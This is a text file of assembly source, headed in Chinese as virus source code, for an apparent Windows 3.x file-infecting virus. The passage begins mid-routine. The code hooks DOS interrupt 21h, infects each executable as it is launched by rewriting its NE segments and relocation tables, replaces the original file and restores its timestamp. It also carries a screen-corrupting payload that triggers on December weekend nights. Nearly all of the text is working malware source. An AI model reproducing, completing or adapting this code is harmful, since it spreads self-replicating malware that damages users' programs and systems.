zdasm_1.0+.txt

有病毒源代码

	pop si                ;si is Next Seg
	pop cx                ;ax is offset of start code segment from MZ
	pop ax                ;cx is segment length
	;pop si                ;si is next seg
	pop di                ;bx is logial sector
	mul di
	shl edx,16
	add eax,edx           ;eax is 1180h
	
	mov ebx,eax
	
	mov ax,si
	mul di
	shl edx,16
	add eax,edx           ;eax is next seg (byte)
	
	push eax
	sub eax,ebx
	sub eax,ecx
	mov Next_Seg,eax

	add ebx,ecx
	mov eax,NEHeadLength  ;!!!!!!!!!
	
	call CopyBlock        ;write NEHeadLength to start code seg off
	
;#####################   Write Code  ####################   

	
	mov eax,Next_Seg            ;eax is code seg len + reloc
	add eax,AddLength

	;cCall GlobalAlloc,<GMEM_FIXED,eax>
	INVOKE AllocMem,eax
	mov es,ax
	mov cx,Vcode_Len
	mov si,StartAdd
	mov di,0
	push ds
	push cs
	pop ds
	rep movsb
	pop ds
	
	mov si,0
	mov cx,AddLength
	sub cx,Vcode_Len
	sub cx,50h
	rep movsb
	
call_read4:                
	cCall _hread,<FileHandle,es,di,Next_Seg>   ;di is Reloc Tab off
	
	mov ax,8
	mul word ptr es:[di]
	add ax,2
	mov bp,ax              ;di is new reloc off
	add bp,di              ;di ^
	mov bx,No_ModKrnl
	mov cx,No_OFF
	add es:[di],cx
	
	mov si,offset OFF
Modify_Call:        
	mov dx,[si+1+2]                 ;OFF
	push [si+1]               ;KRNL NO.
	add dx,VStartAdd
	cmp [si+1],174
	jnz bs_174
	mov es:[bp],0105h
	jmp gh
bs_174:        
	mov es:[bp],0103h
gh:        
	mov es:[bp+2],dx
	mov es:[bp+4],bx
	pop es:[bp+6]
	add bp,8
	
	mov dl,[si]                 ;OFF count
	add si,3                    ;off

ccc:        
	mov di,[si]                 ;off
	mov ax,[si+2]               ;next
	add ax,VStartAdd
	cmp dl,1
	jnz cc1
	cmp [si+1-3],174
	jnz bs_174_1
	mov es:[di],0ffffh
	jmp zzz
bs_174_1:        
	mov ax,0ffffh
cc1:        
	mov es:[di],ax
	mov word ptr es:[di+2],0
zzz:        
	add si,2
	dec dl
	jnz ccc
	
	dec cx
	jnz Modify_Call
	
	mov eax,Next_Seg
	add eax,AddLength
call_write2:        
	cCall _hwrite,<VTempHandle,es,0,eax>   ;Write Code
	jc Error            ;96-10-31 7:30 p.m.
call_free4:          
	;cCall GlobalFree,<es>
	INVOKE MemFree,es
CopyRest:        
	pop eax
	mov ebx,FileLength
	call CopyBlock                      ;Write rest Old Data and Code
	mov OK,1
	
	mov ax,5701h
	mov cx,time
	mov dx,date
	mov bx,VTempHandle
	int 21h                              ;Save Time & Date  
	
CloseAllFile:        
	cCall _lclose,<VTempHandle>
	cmp ax,0
	jnz Error
CloseFile:        
	cCall _lclose,<FileHandle>
	cmp ax,0
	jnz Error
	
	cmp OK,1        
	jnz Exit
	
	push ds
	mov ah,41h
	mov dx,FileName_OFF
	mov cx,FileName_SEG
	mov ds,cx
	int 21h                             ;Del source file
	pop ds
	jb Error
	
	mov ah,56h
	mov di,FileName_OFF
	mov cx,FileName_SEG
	mov es,cx
	mov dx,100h
	int 21h                              ;Rename file 

Exit:        
	ret
	
;GoBack:
 ;       mov ah,2
  ;      mov dl,7
   ;     mov ah,2
    ;    mov dl,7
     ;   INVOKE DOS3Call

;ix:
 ;       mov ah,4Ch
  ;      INVOKE DOS3Call                 ; Exit with return code from app.

CopyBlock:        
	push ebx
	mov ecx,ebx
	sub ecx,eax
	mov WriteLength,ecx
call_seek4:                
	cCall _llseek,<FileHandle,eax,0>    ;eax is F1begin
	;cCall GlobalAlloc,<GMEM_FIXED,WriteLength>
	INVOKE AllocMem,WriteLength
	mov es,ax
call_read5:                
	cCall _hread,<FileHandle,es,0,WriteLength> 
	cmp ax,0
	jnz ReadOK4
	pop ebx   ;
	pop ax    ;call ip  Adjust Stack
	jmp Error
ReadOK4:
call_write3:        
	cCall _hwrite,<VTempHandle,es,0,WriteLength>
	jc Error             ;96-10-31 7:30 p.m.
call_free5:          
	;cCall GlobalFree,<es>
	INVOKE MemFree,es
	pop eax
	ret
CreateDS:        
	INVOKE AllocMem,200h   ;Alloc DS
	mov es,ax
	mov si,offset DataArea
	add si,bp
	push si           ;DataAreaOff
	
	mov di,0
	mov cx,offset _EndMark
	sub cx,offset _WinData
	push cx                  ;DataLength
	mov ax,cs
	mov ds,ax
	rep movsb
	mov ax,es
	mov ds,ax
	mov [StartAdd],bp
	pop DataLength         ;Save DataLength
	;pop K_BModule
	pop DataAreaOff
	
	mov ax,offset DataArea
	sub ax,offset __astart      ;eax is Vcode length
	mov Vcode_Len,ax
	ret
Error:  
	;cCall MessageBeep,<-1>
	jmp Exit

New_WinExec_Entry:
	cmp eax,445a8888h
	jnz de_4c
	mov eax,'ZDOK'
	iret 
;#######################  Modify Screen   ########################
de_4c:
	cmp ah,4ch
	jnz Check
;        sub sp,20h
;        mov bp,sp
;        ;cCall GetActiveWindow
;        ;cCall GetTopWindow,<ax>
;        ;cCall GetNextWindow,<ax,2>
;        cCall GetFocus
;        mov [bp+16],ax             ;hwnd
;        cCall GetDesktopWindow
;        cCall GetWindowDC,<ax>
;        mov [bp+18],ax             ;myhdc
;        cCall GetWindowRect,<word ptr [bp+16],ss,bp>
;        mov ax,[bp+6]                          
;        sub ax,[bp+2]   ;di=bottom - top ------>y
;        shr ax,1
;        inc ax
;        mov [bp+20],ax            ;
;        mov bx,[bp+4]
;        sub bx,[bp]     ;si=right  - left ----->x
;        mov [bp+22],bx
;        xor di,di
;LOOPY:        
;        xor si,si
;LOOPX:  
;        mov ax,[bp+4]       ;right
;        sub ax,si
;        mov bx,[bp+6]       ;bottom
;        sub bx,di
;        push ax
;        push bx
;        cCall GetPixel,<word ptr [bp+18],ax,bx>     ;[
;        mov [bp+8],dx
;        mov [bp+10],ax              ;color a
;        mov ax,[bp]          ;left
;        add ax,si
;        mov bx,[bp+2]        ;top
;        add bx,di
;        push ax
;        push bx
;        cCall GetPixel,<word ptr [bp+18],ax,bx>     ;]
;        mov [bp+12],dx
;        mov [bp+14],ax             ;color b
;        pop bx
;        pop ax
;        cCall SetPixel,<word ptr [bp+18],ax,bx,word ptr [bp+8],word ptr [bp+10]>
;        
;        pop bx
;        pop ax
;        cCall SetPixel,<word ptr [bp+18],ax,bx,word ptr [bp+12],word ptr [bp+14]>
;        inc si
;        cmp si,[bp+22]
;        jl LOOPX
;        inc di
;        cmp di,[bp+20]
;        jl LOOPY
;
;        
;        add sp,20h
	
	push ax
	push cx
	push si
	push es

	mov ah,2ah
	int 21h
	cmp dh,11             ;Dec
	jnz qqqq
	cmp al,0              ;Sunday
	jz Check_time
	cmp al,6              ;Saturday
	jnz qqqq
Check_time:        
	mov ah,2ch
	int 21h
	cmp ch,22              ;  >22:00
	;jl qqqq 
	ja qqqq                   ;96-10-31 7:20 p.m.
Video_Seg:        
	mov ax,__A000H
	mov es,ax
	mov cx,8000h-16
	mov si,0
de:        
	mov ax,es:[si+16]
	mov es:[si],ax
	add si,2
	loop de
qqqq:        
	pop es
	pop si
	pop cx
	pop ax
	jmp quit
;#######################  COPY MY SELF  ####################
Check:        
	cmp ah,4bh
	jnz quit
	push eax
	push ebx
	push ecx
	push edx
	push si
	push di
	push bp
	push ds
	push es
	push fs
	push gs                       ;4*4+7*2=30       Stack-30 bytes
	
	push ds
	push dx
	
	call V_Begin
V_Begin:       
	pop bp
	
	mov ax,offset V_Begin
	sub bp,ax
	call CreateDS
	
	pop dx
	pop fs                ;fs:dx is lpszFileName
	mov FileName_SEG,fs
	mov FileName_OFF,dx
call_open2:                
	cCall _lopen,<fs,dx,word ptr READ>   
	call AfterOpen
call_free6:          
	;cCall GlobalFree,<ds>
	INVOKE MemFree,ds
	pop gs
	pop fs
	pop es
	pop ds
	pop bp
	pop di
	pop si
	pop edx
	pop ecx
	pop ebx
	pop eax
quit:        
	db 0eah
	dd ? 
;###################  Some Function  #######################

AllocMem PROC ,number:DWORD
	mov ah,48h
	mov ebx,number
	mov cx,bx
	shr ebx,4
	shl cx,4*3
	cmp cx,0
	jz Call21
	inc bx
Call21:
	int 21h
	ret
AllocMem endp

MemFree  PROC ,selector:WORD
mov ah,49h
mov bx,selector
mov es,bx
int 21h
ret
MemFree endp

DataArea:        
_WinData          DWORD  0                       ;4 Windows reserved data space.
_FileHandle       DW ?                           ;2
_VTempName        db 'v__temp.###',0             ;12
_VTempHandle      dw ?                           ;2
_WriteLength      dword ?                        ;4
_NEHeadLength     dd ?                           ;2
_DosEXELength     dw ?                           ;2
_FileLength       dword ?                        ;4
_Old_IP           dw ?                           ;2
_StartAdd         dw ?                           ;2
_DataLength       dw ?                           ;2
_DataAreaOff      dw ?                           ;2
_VStartAdd        dw ?
_No_ModKrnl       dw ?
_OFF             db 1
		 dw 85           ;kernel!_lopen
		 ;dw offset call_open1+8,offset call_open2+7
		 dw offset call_open2+7  
		 
		 db 4
		 dw 84           ;Kernel!_lseek 
		 dw offset call_seek1+9,offset call_seek2+0dh
		 dw offset call_seek3+0dh,offset call_seek4+9
		 
		 db 2
		 dw 81          ;Kernel!_lclose
		 dw offset CloseAllFile+5,offset CloseFile+5

		 db 5
		 dw 349         ;Kernel!_hread
		 dw offset call_read1+0eh ,call_read2+0eh
		 dw offset call_read3+0dh ,call_read4+0ch
		 dw offset call_read5+0dh 

		 db 3
		 dw 350         ;Kernel!_hwrite
		 dw offset call_write1+0dh ,call_write2+0ah
		 dw offset call_write3+0dh 

		 db 1
		 dw 171         ;Kernel!Allocdstocsalias
		 dw offset call_allocdstocsalias+2 

		 db 1
		 dw 83          ;Kernel!create
		 dw offset call_create+7 

		 db 1
		 dw 132          ;Kernel!getwinflags 
		 dw offset call_getwinflags+1

		 db 1            ;Kernel!__A000H 
		 dw 174          
		 dw offset Video_Seg+1

_No_OFF           dw 9
_Vcode_Len        dw ?
_Next_Seg         dd ?
_FileName_SEG     dw ?
_FileName_OFF     dw ?
_time             dw ?
_date             dw ?
_OK               db 0
_MARK             db 0
_EndMark          db 'ZD'                        ;2
none              dword 30h dup(?)               ;+ 
						 ;86
	
	end __astart                    ; start address